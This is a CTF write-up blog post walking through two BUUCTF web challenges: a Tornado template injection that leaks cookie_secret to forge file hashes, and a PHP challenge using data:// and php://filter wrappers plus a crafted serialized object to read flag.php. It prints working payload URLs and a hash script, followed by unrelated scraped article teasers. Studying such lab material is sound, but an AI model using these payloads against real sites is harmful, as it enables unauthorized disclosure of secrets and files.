[BT]BUUCTF刷题第9天(3.27)

第9天(共2题)

[护网杯 2018]easy_tornado

打开网站就是三个txt文件

在这里插入图片描述

/flag.txt
flag in /fllllllllllllag/welcome.txt
render/hints.txt
md5(cookie_secret+md5(filename))

当点进flag.txt时,url变为

http://b9e52e06-e591-46ad-953e-7e8c5fffa144.node5.buuoj.cn:81/file
?filename=/flag.txt&filehash=41a9f15a56218197f80a148252160b57

所以,为了获得flag,我们应该是要访问:
?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(fllllllllllllag))

flag位于的文件是知道了,但是用于md5加密的cookie_secret还不知道,因此接下来的重点是找到这个值

这里发现如果将url随便修改一下页面会返回报错网页,而且页面显示内容就是url的msg参数值,根据题目描述,网站由Python tornado模板渲染搭建,且/welcome.txt的内容是render ,因此可能存在模板注入
render()是tornado里的函数,可以生成html模板。是一个渲染函数

在这里插入图片描述
尝试输入1

在这里插入图片描述

但是尝试{{7*7}}的时候页面返回ORZ,极有可能网站进行了绕过

在这里插入图片描述
查看题解知道Tornado框架的附属文件handler.settings中存在cookie_secret

那么构造URL:

http://618bb433-84ee-45f8-b7ec-06854eeb3f51.node5.buuoj.cn:81/error?msg={{handler.settings}}

成功得到cookie_secret的值

在这里插入图片描述
接下来就是使用脚本(摘自其他题解)生成带有cookie_secret的MD5加密结果:

import hashlibfile_hash = hashlib.md5()filename = '/fllllllllllllag'
file_hash.update(filename.encode('utf-8'))
s1 = file_hash.hexdigest()cookie_secret = "5e464901-efe3-4de1-8cff-dd7ebc369435"file_hash = hashlib.md5()
file_hash.update((cookie_secret + s1).encode('utf-8'))
print(file_hash.hexdigest())

在这里插入图片描述
最后构造URL:

http://618bb433-84ee-45f8-b7ec-06854eeb3f51.node5.buuoj.cn:81/file
?filename=/fllllllllllllag&filehash=b3d128b5ea44beaee4c83cddf7fb2c7a

成功拿到flag

在这里插入图片描述

[ZJCTF 2019]NiZhuanSiWei

在这里插入图片描述
打开网站就能看到源代码,首先是3个GET方法传递的参数textfilepassword

第一个判断是打开text参数的文件夹(读模式),将里面的内容和"welcome to the zjctf"进行比对(我们需要使其为真)

第二个是传入的file参数不能包含flag字样

第三个是一段反序列化,我们需要知道源码

为了使第一个判断为真,我们用到的是PHP伪协议的data://【写入协议】:

?text=data://text/plain,welcome to the zjctf      //写入内容?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=  //使用Base64编码写入内容

注意:写入的数据并未保存在网站上的任何地方,它只是作为URL的一部分被读取

写入成功,接下来是获得PHP序列化的源码

在这里插入图片描述
我们看到源代码有一个关键文件useless.php

构造URL来查看useless.php的内容:

http://39b65aba-edc5-4f44-b389-a18a6d29a0d4.node5.buuoj.cn:81/
?text=data://text/plain,welcome%20to%20the%20zjctf/useless.php

但是网站返回的源代码和上面直接看到的没有区别,这里考虑用PHP伪协议的filter【读取协议】:

http://39b65aba-edc5-4f44-b389-a18a6d29a0d4.node5.buuoj.cn:81/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到Base64编码数据

在这里插入图片描述
解码后得到:

<?php  
class Flag{  											//flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
}  
?>  

根据泄露的序列化源代码,可以构造:

<?php
class Flag{                                            //flag.php  public $file = "flag.php";    }  
echo serialize(new Flag);
?>

得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

构造URL:

http://39b65aba-edc5-4f44-b389-a18a6d29a0d4.node5.buuoj.cn:81
?text=data://text/plain,welcome to the zjctf&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

得到flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/573150.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

银行卡的分类

银行卡是银行账户的一种体现形式&#xff0c;它是由银行机构发行的具有消费信用、转账结算、存取现金等全部或部分功能作为结算支付工具的各类卡的统称。 &#xff08;1&#xff09;按是否具有授信额度分类 ①借记卡&#xff1a;借记卡是指发卡银行向申请人签发的&#xff0c;没…

第十一章:位运算符与位运算

文章目录 第十一章&#xff1a;位运算符与位运算1.按位与运算&#xff1a;&2.按位或运算&#xff1a;|3.按位异或运算&#xff1a;^4.取反运算符&#xff1a;~5.左移运算符&#xff1a;<<6.右移运算符&#xff1a;>>总结 第十一章&#xff1a;位运算符与位运算…

动态内存操作函数使用过程中会遇见的问题

越界访问 首先我们上一个代码&#xff0c;看看这个的代码的问题 这个代码的问题显而易见 &#xff0c;就是在循环里面&#xff0c;产生了越界访问的问题&#xff0c;这里你开辟了10个整形空间&#xff0c;但是从0-10一共是11个整形空间。导致访问不合法的空间&#xff0c;从而…

Cy3-PEG-NH2 Cy3-聚乙二醇-氨基 磷脂PEG花菁Cy3

产品名称 Cy3-PEG-NH2 目录号 410502 中文名称 Cy3-聚乙二醇-氨基 英文名称 Cy3-PEG-NH2 Cy3-PEG-Amine 分子量 2000 溶解度 溶于氯仿等有机溶剂 存储条件 -20冷冻避光 保存时间 一年 Ex/Em(nm) 550/570 其它分子量 1000 3400 5000 10000 结构 花氰染料Cyanine,常应用…

记一次由gzip引起的nginx转发事故

故事背景 书接前几篇文章&#xff0c;仍然是交付甲方遇到的一个特殊诉求&#xff0c;从而引发了本期的事故。甲方的诉求是前端的请求过来&#xff0c;需要加密&#xff0c;但是要经过waf&#xff0c;必须要求是请求明文&#xff0c;那就要在waf和nginx之间做一个解密前置应用处…

搜索插入位置-java

题目描述 : 给定一个排序数组和一个目标值&#xff0c;在数组中找到目标值&#xff0c;并返回其索引。如果目标值不存在于数组中&#xff0c;返回它将会被按顺序插入的位置。请必须使用时间复杂度为 O(log n) 的算法。 思路分析: 这段代码的解题思想是利用二分查找的方法在…

MySql实战--事务到底是隔离的还是不隔离的

第3篇文章和你讲事务隔离级别的时候提到过&#xff0c;如果是可重复读隔离级别&#xff0c;事务T启动的时候会创建一个视图read-view&#xff0c;之后事务T执行期间&#xff0c;即使有其他事务修改了数据&#xff0c;事务T看到的仍然跟在启动时看到的一样。也就是说&#xff0c…

深入探讨分布式ID生成方案

&#x1f388;&#x1f388;作者主页&#xff1a; 喔的嘛呀&#x1f388;&#x1f388; &#x1f388;&#x1f388;所属专栏&#xff1a;python爬虫学习&#x1f388;&#x1f388; ✨✨谢谢大家捧场&#xff0c;祝屏幕前的小伙伴们每天都有好运相伴左右&#xff0c;一定要天天…

OSPF-区域间路由计算

一、概述 前面学习了我们学习了Router-LSA和Network-LSA&#xff0c;它们都只能在区域内进行泛洪&#xff0c;而且我们之前一直主要是单区域学习。OSPF的核心是骨干区域Area 0&#xff0c;其它都为非骨干区域。但是在大型网络中&#xff0c;单区域OSPF会存在一定的问题&#xf…

HCIA-Datacom实验_03_实验一:华为VRP系统基本操作

1.运行eNSP&#xff0c;设置-界面设置-自定义界面-设备标签&#xff0c;“总显示接口标签” 打钩。 2.按照实验拓扑添加设备 注&#xff1a;如果是真实环境&#xff0c;需要接两条线&#xff1a; &#xff08;1&#xff09;串口线&#xff1a;电脑USB口到网络设备Console口&am…

EdgeGallery开发指南

API接口 简介 EdgeGallery支持第三方业务系统通过北向接口网关调用EdgeGallery的业务接口。调用流程如下图所示&#xff08;融合前端edgegallery-fe包含融合前端界面以及北向接口网关功能&#xff0c;通过浏览器访问时打开的是融合前端的界面&#xff0c;通过IP:Port/urlPref…

免费SSL证书和付费SSL证书的区别点

背景&#xff1a; 在了解免费SSL证书和付费SSL证书的区别之前&#xff0c;先带大家了解一下SSL证书的概念和作用。 SSL证书的概念&#xff1a; SSL证书就是基于http超文本传输协议的延伸&#xff0c;在http访问的基础上增加了一个文本传输加密的协议&#xff0c;由于http是明…